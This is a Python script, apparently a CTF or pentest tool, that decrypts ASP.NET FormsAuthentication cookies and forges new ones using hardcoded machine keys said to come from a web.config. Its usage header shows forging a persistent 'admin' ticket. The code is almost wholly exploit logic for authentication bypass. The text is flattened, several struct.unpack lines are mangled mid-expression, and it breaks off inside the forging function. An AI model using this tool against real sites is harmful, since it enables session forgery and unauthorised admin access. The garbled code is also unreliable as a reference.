#!/usr/bin/env python3 """ # Decrypt original cookie python ticket_tool.py decrypt 0612BC595BE85DA14751A4494CDACC202C5D62E2F601C2B3096053B941D32B2141A53D7F4AE73004F48EB62FDD68CAEBE0E930D54935C1D23368347BE090DB64ACFFF63C108EE44B8B83D8C5045CF27F4DD48C3D7E54A05DBE1F8D914E7D283E54AAAE1323C92ACFEDBE21EF749A3119A02856A21309148EF3C33E6B2215C2DDC735A21E5B6BEFCC3846812BB7FCD3F8A424567F78A432D2299388F0979EC799 # Forge admin ticket python formaspcookie.py forge admin --user-data "Admin" --persistent --expiry-min 1440 """ import argparse import binascii import hmac import hashlib import struct import sys from datetime import datetime, timedelta from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding from cryptography.hazmat.backends import default_backend import os # Default keys from web.config DEFAULT_DEC_KEY_HEX = "B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" DEFAULT_VAL_KEY_HEX = "EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" HEADER_SIZE = 32 # Purpose (20B) + salt (12B) SIG_SIZE = 32 # HMACSHA256 IV = b'\x00' * 16 PURPOSE = b'FormsAuthentication\x00\x00\x00' # Fixed for FormsAuth def ticks_to_datetime(ticks): """Convert .NET ticks (100ns since 0001-01-01) to datetime.""" epoch = datetime(1, 1, 1) return epoch + timedelta(microseconds=ticks // 10) def datetime_to_ticks(dt): """Convert datetime (UTC) to .NET ticks.""" epoch = datetime(1, 1, 1) delta = dt - epoch return int(delta.total_seconds() * 10000000) def read_7bit_string(data, pos): """Read 7-bit encoded length + UTF-16LE string.""" if pos >= len(data): return None, pos length = 0 shift = 0 while True: if pos >= len(data): return None, pos b = data[pos] pos += 1 length |= (b & 0x7F) << shift if (b & 0x80) == 0: break shift += 7 str_len = length * 2 if pos + str_len > len(data): return None, pos str_bytes = data[pos:pos + str_len] s = ''.join(chr(b1 + (b2 << 8)) for b1, b2 in zip(str_bytes[0::2], str_bytes[1::2])) pos += str_len return s, pos def write_7bit_string(s): """Write UTF-16LE string with 7-bit encoded length.""" utf16_bytes = s.encode('utf-16le') length = len(utf16_bytes) // 2 encoded_len = bytearray() temp = length while True: encoded_len.insert(0, temp & 0x7F) if temp & 0x7F == temp: break encoded_len[0] |= 0x80 temp >>= 7 return bytes(encoded_len) + utf16_bytes def decrypt_ticket(encrypted_hex, dec_key_hex, val_key_hex, verbose=False): """Decrypt and parse the ticket.""" try: cookie_bytes = binascii.unhexlify(encrypted_hex) dec_key = binascii.unhexlify(dec_key_hex) val_key = binascii.unhexlify(val_key_hex) if len(cookie_bytes) < SIG_SIZE: raise ValueError("Ticket too short for signature.") payload = cookie_bytes[:-SIG_SIZE] signature = cookie_bytes[-SIG_SIZE:] # Validate HMAC h = hmac.new(val_key, payload, hashlib.sha256) if h.digest() != signature: raise ValueError("Invalid signature!") if verbose: print("Signature valid.") # Decrypt AES-256-CBC cipher = Cipher(algorithms.AES(dec_key), modes.CBC(IV), backend=default_backend()) decryptor = cipher.decryptor() decrypted_padded = decryptor.update(payload) + decryptor.finalize() # Unpad PKCS7 unpadder = padding.PKCS7(128).unpadder() decrypted = unpadder.update(decrypted_padded) + unpadder.finalize() if verbose: print(f"Raw decrypted (hex): {binascii.hexlify(decrypted).decode()}") # Skip header if len(decrypted) < HEADER_SIZE: raise ValueError("Decrypted data too short for header.") data = decrypted[HEADER_SIZE:] # Parse binary pos = 0 if pos >= len(data) or data[pos] != 1: raise ValueError("Invalid format version (expected 0x01).") pos += 1 ticket_version = data[pos] pos += 1 if pos + 8 > len(data): raise ValueError("Truncated: issue ticks.") issue_ticks = struct.unpack('= len(data) or data[pos] != 0xFE: raise ValueError("Invalid spacer (expected 0xFE).") pos += 1 if pos + 8 > len(data): raise ValueError("Truncated: expiration ticks.") expiration_ticks = struct.unpack('= len(data): raise ValueError("Truncated: persistent flag.") is_persistent = bool(data[pos]) pos += 1 name, pos = read_7bit_string(data, pos) if name is None: raise ValueError("Failed to parse name.") user_data, pos = read_7bit_string(data, pos) if user_data is None: raise ValueError("Failed to parse user data.") cookie_path, pos = read_7bit_string(data, pos) if cookie_path is None: raise ValueError("Failed to parse cookie path.") if pos >= len(data) or data[pos] != 0xFF: raise ValueError("Invalid footer (expected 0xFF).") pos += 1 if pos < len(data): if verbose: print(f"Trailing bytes (hex): {binascii.hexlify(data[pos:]).decode()}") # Convert ticks issue_date = ticks_to_datetime(issue_ticks) expiration_date = ticks_to_datetime(expiration_ticks) ticket = { 'version': ticket_version, 'name': name, 'issue_date': issue_date, 'expiration_date': expiration_date, 'is_persistent': is_persistent, 'user_data': user_data, 'cookie_path': cookie_path } if verbose: print("\n--- Parsed Ticket ---") for k, v in ticket.items(): print(f"{k}: {v}") print("--- End Ticket ---") return ticket except Exception as e: print(f"Decryption failed: {e}") return None def forge_ticket(username, user_data="Web Users", is_persistent=False, expiry_minutes=10, dec_key_hex=DEFAULT_DEC_KEY_HEX, val_key_hex=DEFAULT_VAL_KEY_HEX, fixed_header_hex=None, verbose=False): """Forge a new ticket.""" dec_key = binascii.unhexlify(dec_key_hex) val_key = binascii.unhexlify(val_key_hex) # Timestamps now = datetime.utcnow() issue_ticks = datetime_to_ticks(now) exp_delta = timedelta(minutes=expiry_minutes) expiration_ticks = datetime_to_ticks(now + exp_delta) cookie_path = "/" # Serialize serialized = bytearray() serialized.append(1) # Format version serialized.append(1) # Ticket version serialized += struct.pack('